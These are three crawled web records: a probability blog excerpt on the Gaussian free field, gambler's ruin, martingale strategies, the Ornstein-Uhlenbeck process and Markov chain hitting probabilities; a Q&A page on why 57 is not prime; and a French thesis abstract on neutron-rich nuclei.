$P_{x,y}=p(y-x)$ is the transition matrix of SRW on D. In particular, this means that the free field is Gaussian, and we can extract the covariances via $\mathrm{Cov}(h^D_x,h^D_y) = \left[ (\mathbf{1}-\mathbf{P})^{-1}\right]_{x,y}$ $= \left[\sum_{n\ge 0} \mathbf{P}^n\right]_{x,y} = \sum_{n\ge 0} \mathbb{P}_x\left[X_n=y,\tau_{\partial D}>n\right],$ where, under $\mathbb{P}_x$, $(X_0,X_1,\ldots)$ is simple random walk started from x. This final quantity records the expected number of visits to y before leaving the domain D, for a random walk started at x, and is called the Green’s function. In summary, the DGFF on D is the centred Gaussian random vector indexed by $\bar D$ with covariance given by the Green’s function $G_D(x,y)$. How many of these equivalences carries over to more general D-indexed random fields is discussed in the survey paper by Velenik. But it’s worth emphasising that having the covariance given by the Green’s function as in the definition we’ve just given is a very nice property, as there are lots of pre-existing tools for calculating these. By contrast, it’s hard to think of a natural model for an integer-valued surface of this kind, as an analogue to SRW. [Though definitely not impossible. The nicest example I’ve heard of is for height functions of large uniform domino tilings within their ‘arctic circle’, which have GFF asymptotics. See this paper by Kenyon.] A continuous limit? We motivated the discussion of random walk bridge by the limit object, namely Brownian bridge. Part of the reason why the DGFF is more interesting than Gaussian random walk bridge, is that the limit object, the (continuum) Gaussian free field is hard to define classically in two dimensions. We might suppose that the DGFF in $V_N$, the square box of width N has some scaling limit as $N\rightarrow\infty$. However, for fixed $x,y\in [0,1]^2$, (and taking integer parts component-wise), well-known asymptotics for SRW in a large square lattice (more on this soon hopefully) assert that $\mathrm{Cov}(h^{V_N}_{\lfloor Nx \rfloor},h^{V_N}_{\lfloor Ny\rfloor}) \sim \log \|x-y\|,$ (2) and so any scaling limit will rescale only the square domain, not the height (since there is no N on the RHS of (2)). However, then the variance of the proposed limit is infinite everywhere. So the GFF does not exist as a random height function on $[0,1]^2$, with the consequence that a) more care is needed over its abstract definition; b) the DGFF in 2D on a large square is an interesting object, since it does exist in this sense. What makes it ‘free’? This seemed like a natural question to ask, but I’ve received various answers. Some sources seem to suggest that having zero boundary condition is free. Other sources refer to the Hamiltonian (that is the term inside the exponential function at (1) ) as free since it depends only on the increments between values. If the Hamiltonian also depends on the heights themselves, for example via the addition of a $\sum_{x} \Psi(h^D_x)$ term, then for suitable choice of function $\Psi$, this is interpreted as a model where the particles have mass. The physical interpretation of these more general Gibbs measures is discussed widely, and I’m not very comfortable with it all at the moment, but aim to come back to it later, when hopefully I will be more comfortable. # Fair games and the martingale strategy III Gambler’s Ruin Continuing directly from the previous post, the nicest example of the optional stopping theorem we developed there is to example a simple random walk constrained between two values, say 0 and N. This represents an idealised gambling situation, where the gambler stops playing either when they reach some pre-agreed profit, or when they go bankrupt. We assume that we start at level k, for k = 1,2,…,N-1. Naturally, we want to know the probabilities of winning (ie getting to N) and losing (ie going bankrupt). We could set this up by conditioning on the first step. Let $p_k$ be the probability of winning starting from level k. Then we must have $p_k= \frac12 p_{k+1}+\frac12 p_{k-1},\quad k=1,\ldots,N-1,$ () with the obvious boundary conditions $p_0=0, p_N=1$. In an ideal world, we just know how to solve second order difference equations like (). Well, actually it isn’t too hard, because we can see from () directly that $p_{k+1}-p_k = p_k-p_{k-1},$ and so $p_k$ is a linear function of k, and so $p_k = k/N$ follows pretty much immediately. But, we can also use OST profitably. Let T be the time at which we first hit 0 or N. It’s intuitively clear that this should have finite expectation, since the problems you might encounter with just the hitting time of a single level shouldn’t apply. Or you can consider the expected number of steps before you see N ups or downs in a row, which certainly provides an upper bound on T. This random number of steps is sort of geometric (at least, can be upper bounded by a geometric RV) and so has finite expectation. So can apply OST to X at T, and we have $\mathbb{E}[X_T] = N\cdot \mathbb{P}(X_T=N) + 0 \cdot \mathbb{P}(X_T=0) = \mathbb{E}[X_0]=k,$ from which we also derive $p_k=k/N$. The reason we talk about gambler’s ruin is by considering the limit $N\rightarrow\infty$ with k fixed. After a moment’s thought, it’s clear we can’t really talk about stopping the process when we hit infinity, since that won’t happen at any finite time. But we can ask what’s the probability that we eventually hit zero. Then, if we imagine a barrier at level N, the probability that we hit 0 at some point is bounded below by the probability that we hit 0 before we hit level N (given that we know we hit either zero or level N with probability one), and this is $\frac{N-k}{N}$, and by choosing N large enough, we can make this as close to 1 as we want. So the only consistent option is that the probability of hitting 0 at some point is one. Hence gambler’s ruin. With probability one, ruin will occur. There’s probably a moral lesson hiding there not especially subtly. So the deal here seems to be that if you just care about your average, it doesn’t matter how to choose to play a sequence of fair games. But what if you care about something other than your average? In any real setting, we maybe care about slightly more than this. Suppose I offer you a bet on a coin toss: you get £3 if it comes up heads, and I get £1 if it comes up tails. Sounds like a good bet, since on average you gain a pound. But what about if you get £10,003 if it comes up heads and I get £10,001 if it comes up tails? I’m guessing you’re probably not quite so keen now. But if you were an international bank, you might have fewer reservations about the second option. My intention is not to discuss whether our valuation of money is linear here, but merely to offer motivation for the financial option I’m about to propose. The point is that we are generally risk-averse (well, most of us, most of the time) and so we are scared of possible large losses, even when there is the possibility of large profits to balance it out. Let’s assume we have our simple random walk, and for definiteness let’s say it starts at £1. Suppose (eg as a very niche birthday present) we have the following opportunity: at any point between now and time t=5, we have the right to buy one unit of the stock for £2. We want to work out how much this opportunity, which from now on I’m going to call an option, is worth on average. Note that now it does seem that when we choose to cash in the option will have an effect on our return, and so we will have to include this in the analysis. Note that, once we’ve bought a unit of the stock, we have an asset which is following a simple random walk (ie sequential fair games) and so from this point on its expected value remains unchanged. So in terms of expectation, we might as well sell the stock at the same moment we buy it. So if we cash in the option when the stock is currently worth £X, we will on average have a return of £(X-2). This means that we’ll only ever consider exercising our option if the current value of the stock is greater than £2. This narrows down our strategy slightly. This sort of option minimises the risk of a large loss, since the worst thing that happens is that you never choose to exercise your option. So if you actually paid for the right to have this option, that cost is the largest amount you can lose. In the trading world, this type of opportunity is called an American option. The trick here is to work backwards in time, thinking about strategies. If at time t=4, the stock is worth £1, then the best that can happen is that it’s worth £2 at time t=5, and this still gains you no wealth overall. Similarly if it’s worth £0 at time t=3. So we’ve identified a region where, if the stock value enters this region, we might as well rip up our contract, because we definitely aren’t going to gain anything. Remember now that we’ve also said you won’t ever cash in if the stock’s value is at most £2, because you don’t gain anything on average. Now suppose that the stock has value £3 at time t=4. There’s no danger of it ever getting back below £2 during the lifetime of the option, so from now on your potential return is following the trajectory of a simple random walk, ie a fair game. So on average, it makes no difference whether you cash in now, or wait until t=5, or some combination of the two. The same argument holds if the stock has value £4 at time t=3 or time t=4, and so we can identify a region where you might as well cash in. What about the final region? If the stock value is greater than £2, but not yet in the definitely-cash-in area, what should you do? Well, if you think about it, the value of the stock is a fair game. But your return should be better than that, because the stock price doesn’t take account of the fact that you wouldn’t buy in (and make a loss overall) if the value drops below £2. So at this stage, your future options are better than playing a fair game, and so it doesn’t make sense (in terms of maximising your average*) to cash in. Now we can actually work backwards in time to establish how much any starting value is worth under this optimal strategy. We can fill in the values in the ‘doomed’ area (ie all zeros) and on the ‘cash in now’ area (ie current value minus 2), and construct backwards using the fact that we have a random walk. The final answer ends up being 7/16 if the stock had value £1 at time 0. Note that the main point here is that working out the qualitative form of the strategy was the non-trivial part. Once we’d done that, everything was fairly straightforward. I claim that this was a reasonably fun adjustment to the original problem, but have minimal idea whether pricing options is in general an interesting thing to do. Anyway, I hope that provided an interesting overview to some of the topics of interest within the question of how to choose strategies for games based on random processes. # Fair games and the martingale strategy I I went back to my school a couple of weeks ago and gave a talk. I felt I’d given various incarnations of a talk on card-shuffling too many times, so it was time for a new topic. The following post (and time allowing, one or two more) is pretty much what I said. The Martingale Strategy Suppose we bet repeatedly on the outcome of tossing a fair coin. Since it’s November, my heart is set on buying an ice cream that costs £1, so my aim is to win this amount from our game. My strategy is this: First, I bet £1. If I win, then that’s great, because I now have made exactly enough profit to buy the ice cream. If I lose, then I play again, and this time I bet £2. Again, if I win, then my total profit is £2-£1 = £1, so I stop playing and buy the ice cream. If I lose, then I play a third time, again doubling my stake. So if I win for the first time on the seventh go, my overall profit will be £64 – (£1+£2+£4+£8+£16+£32) = £1, and it’s clear that this can be continued and I will eventually win a round, and at this point my total profit will be £1. So I will always eventually be able to buy my ice cream. But, there’s nothing special about the value £1, so I could replace the words ‘ice cream’ with ‘private tropical island’, so why am I still here in the UK on a wet Monday when I could be on my beach lounger? There are some fairly obvious reasons why the strategy I’ve described is not actually a fail-safe way to make a profit. For a start, although with probability one a head will come up eventually, there is a small positive chance that the first 200 rolls will all be tails. At this point, I would have accrued a debt of roughly $2^{200}$ pounds, and this is slightly more than the number of atoms in the universe. All this for an ice cream? So there are major problems carrying out this strategy in a finite world. And of course, it’s no good if we stop after a very large but finite number of turns, because then there’s always this very small chance that we’ve made a very large loss, which is bad, partly because we can’t have the ice cream, but also because it exactly cancels out the chance of making our £1 profit, and so our overall average profit is exactly zero. Though I’ve set this up in an intentionally glib fashion, as so often is the case, we might have stumbled across an interesting mathematical idea. That is, if we play a fair game a finite number of times, we have a fair game overall, meaning our overall average profit is zero. But if we are allowed to play a potentially infinite number of times, then it’s not clear how to define our overall ‘average’ profit, since we feel it ought to be zero, as an extension of the finite case, but also might be positive, because it ends up being £1 with probability one. It’s tempting at this stage to start writing statements like $1 \times 1 + (-\infty) \times 0=0 ,$ to justify why this might have come about, where we consider the infinitely unlikely event that is infinitely costly. But this is only convincing at the most superficial level, and so it makes more sense to think a bit more carefully about under exactly what circumstances we can extend our observation about the overall fairness of a finite sequence of individual fair games. A second example The previous example was based upon a series of coin tosses, and we can use exactly the same source of randomness to produce a simple random walk. This is a process that goes up or down by 1 in each time step, where each option happens with probability ½, independently of the history. We could avoid the requirement to deal with very large bets by always staking £1, and then cashing in the first time we have a profit of £1. Then, if we start the random walk at zero, it models our profit, and we stop the first time it gets to 1. It’s not obvious whether we hit 1 with probability one. Let’s show this. In order to hit some positive value k, the random walk must pass through 1, 2, and so on, up to (k-1) and then finally k. So $\mathbb{P}(\text{hit k}) = [\mathbb{P}(\text{hit 1})]^k$. And similarly for negative values. Also, the probability that we return to zero is the same as the probability that we ever hit 1, since after one time-step they are literally the same problem (after symmetry). So, if the probability of hitting 1 is p<1, then the number of visits to zero is geometric (supported on 1,2,3,…) with parameter p, and so $\mathbb{E}[\text{visits to k}] = \mathbb{E}[\text{visits to zero}] \times \mathbb{P}(\text{hit k})=(1+1/p) \times p^{\|k\|} = (p+1)p^{\|k\|-1}.$ Thus, when we sum over all values of k, we are summing a pair of geometric series with exponent <1, and so we get a finite answer. But if the expected number of visits to anywhere (ie the sum across all places) is finite, this is clearly ridiculous, since we are running the process for an infinite time, and at each time-step we must be somewhere! So we must in fact have p=1, and thus another potential counter-example to the claim that a sequence of fair games can sometimes be unfair. We might have exactly the same set of practical objections, such as this method requiring arbitrarily large liquidity (even though it doesn’t grow exponentially fast so doesn’t seem so bad). What will actually turn out to be useful is that although the bets are now small, the average time until we hit 1 is actually infinite. Remember that, even though most things we see in real life don’t have this property, it is completely possible for a random variable to take finite values yet have infinite expectation. Notes on the Martingale Strategy There’s no reason why the originally proposed strategy had to be based upon fair coin tosses. This strategy might work in a more general setting, where the chance of winning on a given turn is not ½, or is not even constant. So long as at each stage you bet exactly enough that, if you win, you recoup all your losses so far, and one extra pound, this has the same overall effect. Of course, we need to check that we do eventually win a round, which is not guaranteed if the probability of winning (conditional on not having yet won) decays sufficiently fast. If we let $p_k$ be the probability of winning on turn k, given that we haven’t previously won, then we require that the probability of never winning $\prod_{k\ge 1}(1-p_k)=0$. By taking logs and taking care of the approximations, it can be seen that the divergence or otherwise of $\sum p_k$ determines which way this falls. In the next post, we’ll talk about how the two problems encountered here, namely allowing large increments, and considering a stopping time with infinite expectation are exactly the two cases where something can go wrong. We’ll also talk about a slightly different setting, where the choice of when to stop playing becomes a bit more dynamic and complicated. # Ornstein-Uhlenbeck Process A large part of my summer has been spent proving some technical results pertaining to the convergence of some functionals of a critical Frozen Percolation process. This has been worthwhile, but hasn’t involved a large amount of reading around anything in particular, which has probably contributed to the lack of posts in recent months. Perhaps a mixture of that and general laziness? Anyway, it turns out that the limit of the discrete processes under consideration is the Ornstein-Uhlenbeck process. The sense in which this limit holds (or at least, for now, is conjectured to hold) is something for another article. However, I thought it would be worth writing a bit about this particular process and why it is interesting. The O-U process is described by the SDE $dX_t=-\beta (X_t-\mu)dt+\sigma dW_t,$ where W is a standard Brownian motion. We think of $\mu$ as the ‘mean’. The extent to which this behaves as a mean will be discussed shortly. The process is then mean-reverting, in the sense that the drift is directed against deviations of the process away from this mean. The parameter $\beta$ measures the extent of this mean reversion, while as usual $\sigma$ controls the magnitude of the Brownian noise. The motivation for considering mean-reverting processes is considerable. One measure of this is how many equations with articles on Wikipedia turn out to be precisely this Ornstein-Uhlenbeck process with different context or notation. In most cases, the motivation arises because Brownian motion is for some reason unsuitable to take as a canonical random process. We will see why the O-U process is somehow the next most canonical choice for a random process. In physics, it is sometimes unsatisfactory to model the trajectory of a particle with Brownian motion (even though this motivated the name…) as the velocities are undefined (see this post from ages ago), or infinite, depending on your definition of velocity. Using the Ornstein-Uhlenbeck process to model the velocity of a particle is often a satisfactory alternative. It is not unreasonable that there should be a mean velocity, presumably zero. The mean reversion models a frictional force from the underlying medium, while the Brownian noise describes random collisions with similar particles. In financial applications, the Ornstein-Uhlenbeck model has been applied, apparently under the title of the Vasicek model since the 70s to describe quantities such as interest rates where there is some underlying reason to ban indefinite growth, and require mean reversion. Another setting might be a commodity which, because of external driving factors, has over the relevant time-scale well-defined mean value, around which mean-reverting fluctuations on the observed time-scale can be described. As with other financial models, it is undesirable for a process to take negative values. This can be fixed by taking a positive mean, then setting the volatility to be state dependent, decaying to zero as the state tends to zero, so for small values, the positive drift dominates. I don’t fully understand why patching this aspect is significantly more important than patching any other non-realistic properties of the model, but the resulting SDE is, at least in one particular case where the volatility is $\sqrt{X_t}$, called the Cox-Ingersoll-Ross model. Anyway, a mathematical reason to pay particular attention to this Ornstein-Uhlenbeck process is the following. It is the unique family of continuous Markov processes to have a stationary Gaussian distribution. It is the mean-reverting property that is key. There is no chance of Brownian motion having any stationary distribution, let alone a Gaussian one. If this isn’t clear, you can convince yourself by thinking of the stationary distribution of SRW on $\mathbb{Z}$. Since the process is space-homogeneous, the only stationary measure is the uniform measure. I want to focus on one particular property of the O-U process, through which some other aspects will be illuminated. If we take $\sigma=\beta$ and let $\beta\rightarrow\infty$, then the stationary processes converge to white noise. First though, we should note this is perhaps the easiest SDE to solve explicitly. We consider $X_t e^{\theta t}$, and applying Ito’s lemma rapidly gives $X_t=\mu + (X_0-\mu)e^{-\beta t}+\sigma\int_0^t e^{-\beta(t-s)}dW_s.$ W is Gaussian so the distribution of $X_t$ conditional on $X_0=x_0$ is also Gaussian, and since W is centred we can read off the expectation. Applying the Ito isometry then gives the variance. In conclusion: $X_t\stackrel{d}{=}\mathcal{N}(\mu+(x_0-\mu)e^{-\beta t}, \frac{\sigma^2}{\beta}(1-e^{-2\beta t})).$ In particular, note that the variation has no dependence on $x_0$. So as t grows to infinity, this converges to $\mathcal{N}(\mu, \frac{\sigma^2}{\beta})$. This is, unsurprisingly, the stationary distribution of the process. To address the white noise convergence, we need to consider $\text{Cov}(X_0,X_t)$ in stationarity. Let’s assume WLOG that $\mu=0$ so most of the expectations will vanish. We obtain $\text{Cov}(X_0,X_t)=\mathbb{E}[X_0X_t]=\mathbb{E}_{x_0}\left[\mathbb{E}[X_t\| X_0=x_0]\right]=\mathbb{E}[X_0^2 e^{-\beta t}]= \frac{sigma^2}{2\beta}2^{-\beta t}.$ If we want, the Chapman-Kolmogorov equations work particularly nicely here, and we are able to derive a PDE for the evolution of the density function, though obviously this is very related to the result above. This PDE is known as the Fokker-Planck equation. So, in particular, when $\sigma=\beta\rightarrow \infty$, this covariance tends to 0. I’m not purporting that this constitutes a proof that the Ornstein-Uhlenbeck processes converge as processes to white noise. It’s not obvious how to define process convergence, not least because there’s flexibility about how to view white noise as a process. One doesn’t really want to define the value of white noise at a particular time, but you can consider the covariance of integrals of white noise over disjoint intervals as a limit, in similar way to convergence of finite dimensional distributions. The fact that taking $\beta=0$ gives Brownian motion, and this case gives white noise, intermediate versions of the Ornstein-Uhlenbeck process are sometimes referred to as coloured noise. Finally, the Ornstein-Uhlenbeck process emerges as the scaling limit of mean-reverting discrete Markov chains, analogous to Brownian motion as the scaling limit of simple random walk. One particularly nice example is the Ehrenfest Urn model. We have two urns, and 2N balls. In each time step one of the 2N balls is chosen uniformly at random, and it is moved to the other urn. So a ball is more likely to be removed from an urn with more than N balls. We can view this as a model for molecules in, say a room, with a slightly porous division between them, eg a small hole. More complicated interface models in higher dimensions lead to fascinating PDEs, such as the famous KPZ equation, which are the subject of much ongoing interest in this area. This result can be an application of the theory of convergence of Markov chains to SDEs pioneered by Stroock and Varadhan, about which more may follow very soon. In any case, it turns out that the fluctuations in the Ehrenfest Urn model are on the scale of $\sqrt{n}$, unsurprisingly, and are given by a centred Ornstein-Uhlenbeck process. Investigating this has reminded me how much I’ve forgotten, or perhaps how little I ever knew, about the technicalities of stochastic processes are their convergence results, so next up will probably be a summary of all the useful definitions and properties for this sort of analysis. # Hitting Probabilities for Markov Chains This continues my previous post on popular questions in second year exams. In the interest of keeping it under 2,500 words I’m starting a new article. In a previous post I’ve spoken about the two types of Markov chain convergence, in particular, considering when they apply. Normally the ergodic theorem can be used to treat the case where the chain is periodic, so the transition probabilities do not converge to a stationary distribution, but do have limit points – one at zero corresponding to the off-period transitions, and one non-zero. With equal care, the case where the chain is not irreducible can also be treated. A favourite question for examiners concerns hitting probabilities and expected hitting times of a set A. Note these are unlikely to come up simultaneously. Unless the hitting probability is 1, the expected hitting time is infinite! In both cases, we use the law of total probability to derive a family of equations satisfied by the probabilities/times. The only difference is that for hitting times, we add +1 on the right hand side, as we advance one time-step to use the law of total probability. The case of hitting probabilities is perhaps more interesting. We have: $h_i^A = 1,\; i\in A, \quad h_i^A=\sum_{j\in S}p_{ij}h_j^A,\; i\not\in A.$ There are two main cases of interest: where the chain is finite but has multiple closed communicating classes, and where the chain is infinite, so even though it is irreducible, a trajectory might diverge before hitting 0. For the case of a finite non-irreducible Markov chain, this is fairly manageable, by solving backwards from states where we know the values. Although of course you could ask about the hitting probability of an open state, the most natural question is to consider the probability of ending up in a particular closed class. Then we know that the hitting probability starting from site in the closed class A is 1, and the probability starting from any site in a different closed class is 0. To find the remaining values, we can work backwards one step at a time if the set of possible transitions is sparse enough, or just solve the simultaneous equations for $\{h_i^A: i\text{ open}\}$. We therefore care mainly about an infinite state-space that might be transient. Typically this might be some sort of birth-and-death chain on the positive integers. In many cases, the hitting probability equations can be reduced to a quadratic recurrence relation which can be solved, normally ending up with the form $h_i=A+B\lambda^i$, where $\lambda$ might well be q/p or similar if the chain is symmetric. If the chain is bounded, typically you might know $h_0=1, h_N=0$ or similar, and so you can solve two simultaneous equations to find A and B. For the unbounded case you might often only have one condition, so you have to rely instead on the result that the hitting probabilities are the minimal solution to the family of equations. Note that you will always have $h^i_i=1$, but with no conditions, $h^i_j\equiv 1$ is always a family of solutions. It is not clear a priori what it means to be a minimal solution. Certainly it is not clear why one solution might be pointwise smaller than another, but in the case given above, it makes sense. Supposing that $\lambda<1$, and A+B=1 say, then as we vary the parameters, the resulting set of ‘probabilities’ does indeed vary monotically pointwise. Why is this true? Why should the minimum solution give the true hitting probability values? To see this, take the equations, and every time an $h_i^A$ appears on the right-hand side, substitute in using the equations. So we obtain, for $i\not\in A$, $h_i^A=\sum_{j\in A}p_{ij}+\sum_{j\not\in A} p_{ij}h_j^A,$ and after a further iteration $h_i^A=\sum_{j_1\in A}p_{ij_1}+\sum_{j_1\not\in A, j_2\in A}p_{ij_1}p_{j_1j_2}+\sum_{j_1,j_2\not\in A}p_{ij_1}p_{j_1j_2}h_{j_2}^A.$ So we see on the RHS the probability of getting from i to A in one step, and in two steps, and if keep iterating, we will get a large sum corresponding to the probability of getting from i to A in 1 or 2 or … or N steps, plus an extra term. Note that the extra term does not have to correspond to the probability of not hitting A by time N. After all, we do not yet know that $(h_{i}^A)$ as defined by the equations gives the hitting probabilities. However, we know that the probability of hitting A within N steps converges to the probability of hitting A at all, since the sequence is increasing and bounded, so if we take a limit of both sides, we get $h_i^A$ on the left, and something at least as large as the hitting probability starting from i on the right, because of the extra positive term. The result therefore follows. It is worth looking out for related problems that look like a hitting probability calculation. There was a nice example on one of the past papers. Consider a simple symmetric random walk on the integers modulo n, arranged clockwise in a circle. Given that you start at state 0, what is the probability that your first return to state 0 involves a clockwise journey round the circle? Because the system is finite and irreducible, it is not particularly interesting to consider the actual hitting probabilities. Also, note that if it is convenient to do so, we can immediately reduce the problem when n is even. In two steps, the chain moves from j to j+2 and j-2 with probability ¼ each, and stays at j with probability ½. So the two step chain is exactly equivalent to the lazy version of the same dynamics on n/2. Anyway, even though the structure is different, our approach should be the same as for the hitting probability question, which is to look one step into the future. For example, to stand a chance of working, our first two moves must both be clockwise. Thereafter, we are allowed to move anticlockwise. There is nothing special about starting at 0 in defining the original probability. We could equally well ask for the probability that starting from j, the first time we hit 0 we have moved clockwise round the circle. The only thing that is now not obvious is how to define moving clockwise round the circle, since it is not the case that all the moves have to be clockwise to have experienced a generally clockwise journey round the circle, but we definitely don’t want to get into anything complicated like winding numbers! In fact, the easiest way to make the definition is that given the hitting time of 0 is T, we demand that the chain was at state n at time T-1. For convenience (ie to make the equations consistent) we take $h_0=0, h_n=1$ in an obvious abuse of notation, and then $h_j=\frac12h_{j-1}+\frac12 h_{j+1},$ from which we get $h_j=a+bj \Rightarrow h_j=\frac{j}{n}.$ Of course, once we have this in mind, we realise that we could have cut the circle at 0 (also known as n) and unfolded it to reduce the problem precisely to symmetric gambler’s ruin. In particular, the answer to the original problem is 1/2n, which is perhaps just a little surprising – maybe by thinking about the BM approximation to simple random walk, and that BM started from zero almost certainly crosses zero infinitely many times near we might have expected this probability to decay faster. But once it is unfolded into gambler’s ruin, we have the optimal stopping martingale motivation to reassure us that this indeed looks correct.	2019-10-15 13:21:50	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 369, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.812416672706604, "perplexity": 326.79520939532364}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986659097.10/warc/CC-MAIN-20191015131723-20191015155223-00462.warc.gz"}
https://socratic.org/questions/why-isn-t-57-a-prime-number	Dear friends, Please read our latest blog post for an important announcement about the website. ❤, The Socratic Team Why isn't 57 a prime number? Then teach the underlying concepts Don't copy without citing sources preview ? Explanation Explain in detail... Explanation: I want someone to double check my answer 18 May 10, 2017 $57$ is divisible by $3$ $57 = 3 \times 19$ Explanation: At first glance $57$ would seem to be a prime number .... after all, $7 , \text{ "17," "37," "47," "67," } 97$ are all prime. Why not 57? If you add the digits of $57$ you get $5 + 7 = 12$ $12$ is a multiple of $3$ This means that $57$ is also a multiple of $3$ The nearest multiples of $3$ to $57$ are: $60$ - which is $3 \times 20$ and $54$ - which is $3 \times 18$ $57$ is $3$ away from both of these and is actually $3 \times 19$ There are $25$ prime numbers from 1 to 100, but there are $5$ numbers which warrant extra attention, because they look as though they might be prime but are actually not. Learn them! These are " "color(red)(1," "51," "57," "87," "91) $1$ has only one factor, not two factors as prime numbers have. $51 , 57 \mathmr{and} 87$ are all multiples of $3$. (add their digits) $91 = 7 \times 13$ As it is a product of two primes and above the normal times tables, we will not often have come across $91$ in our maths. Then teach the underlying concepts Don't copy without citing sources preview ? Explanation Explain in detail... Explanation: I want someone to double check my answer 3 Apr 6, 2016 $57$ is not a prime number, as it has factors other than one and itself. Explanation: A prime number is one who does not have any factor other than one and itself. $57$ has $1$ and $57$ as its factor, but it also has $3$ and $19$ as its factor. Hence, $57$ is not a prime number. • An hour ago • An hour ago • An hour ago • 2 hours ago • 18 minutes ago • 30 minutes ago • 43 minutes ago • An hour ago • An hour ago • An hour ago • An hour ago • An hour ago • An hour ago • 2 hours ago • Bio • Che • Tri • Pre • Env • Psy • Ana • Org • Eng • Ast • Ear • U.S • Alg • Soc • Pre • Cal • Wor • Ast • Geo • Phy • Sta	2018-08-15 05:30:21	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 36, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5990154147148132, "perplexity": 2568.2900511846756}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-34/segments/1534221209884.38/warc/CC-MAIN-20180815043905-20180815063905-00116.warc.gz"}
https://tel.archives-ouvertes.fr/tel-00262097	# Etude de la structure de noyaux riches en neutrons à l'aide de nouvelles sondes Abstract : The aim of this work is the investigation of the structure of light neutron-rich nuclei using different experimental and theoretical probes. In the first instance, a complete study of one neutron removal reactions on $^{12-15}$B, $^{14-18}$C, $^{17-21}$N, $^{19-23}$O and $^{22-25}$F including the measurement of momentum distributions and cross-sections on C and Ta targets, is presented. Extended Glauber and Coulomb dissociation models coupled to large scale shell model calculations together with a new model based on the sudden approximation to calculate transverse distributions have been developed. The results of these calculations are in very good agreement with the data. Consequently spin-parity assignements have been proposed for $^{15}$B, $^{17}$C, $^{19-21}$N, $^{21,23}$O et $^{23-25}$F and conclusions reached regarding the use of such reactions as a spectroscopic tool. The alpha particle momentum distributions and cross-section for the breakup of $^6$He on a proton target have also been measured. The results agree with theoretical predictions indicating the sensitivity of the momentum distribution to the $^6$He continuum structure. An experiment to observe proton radiative capture on $^6$He at 40 MeV/nucleon has also been undertaken for the first time. The capture on $^6$He resulting in the formation of $^7$Li has been observed with a cross-section of 35 $\pm$ 2 $\mu$b and the photon angular distribution measured. Triple ($^6$Li, 30 and 3.5 MeV photons) and double ($^4$He, 27 MeV photons) coincidences have also been observed. Such observations may be interpreted as proton capture the three body subsystems of $^6$He of $^5$He and $^4$He or as capture on $^6$He to form resonances in $^7$Li. The observation of a small number of coincidences between deuterons and 22~MeV photons together with other experimental indications favour the first hypothesis. Keywords : Document type : Theses Physique Nucléaire Théorique [nucl-th]. Université de Caen, 2000. Français https://tel.archives-ouvertes.fr/tel-00262097 Contributor : Emmanuel Sauvan <> Submitted on : Monday, March 10, 2008 - 6:52:49 PM Last modification on : Wednesday, July 1, 2015 - 1:08:34 AM Document(s) archivé(s) le : Thursday, May 20, 2010 - 9:48:42 PM ### Identifiers • HAL Id : tel-00262097, version 1 ### Citation E. Sauvan. Etude de la structure de noyaux riches en neutrons à l'aide de nouvelles sondes. Physique Nucléaire Théorique [nucl-th]. Université de Caen, 2000. Français. <tel-00262097> Notice views	2015-12-01 09:38:41	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42723384499549866, "perplexity": 3812.5978254086363}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-48/segments/1448398466178.24/warc/CC-MAIN-20151124205426-00037-ip-10-71-132-137.ec2.internal.warc.gz"}
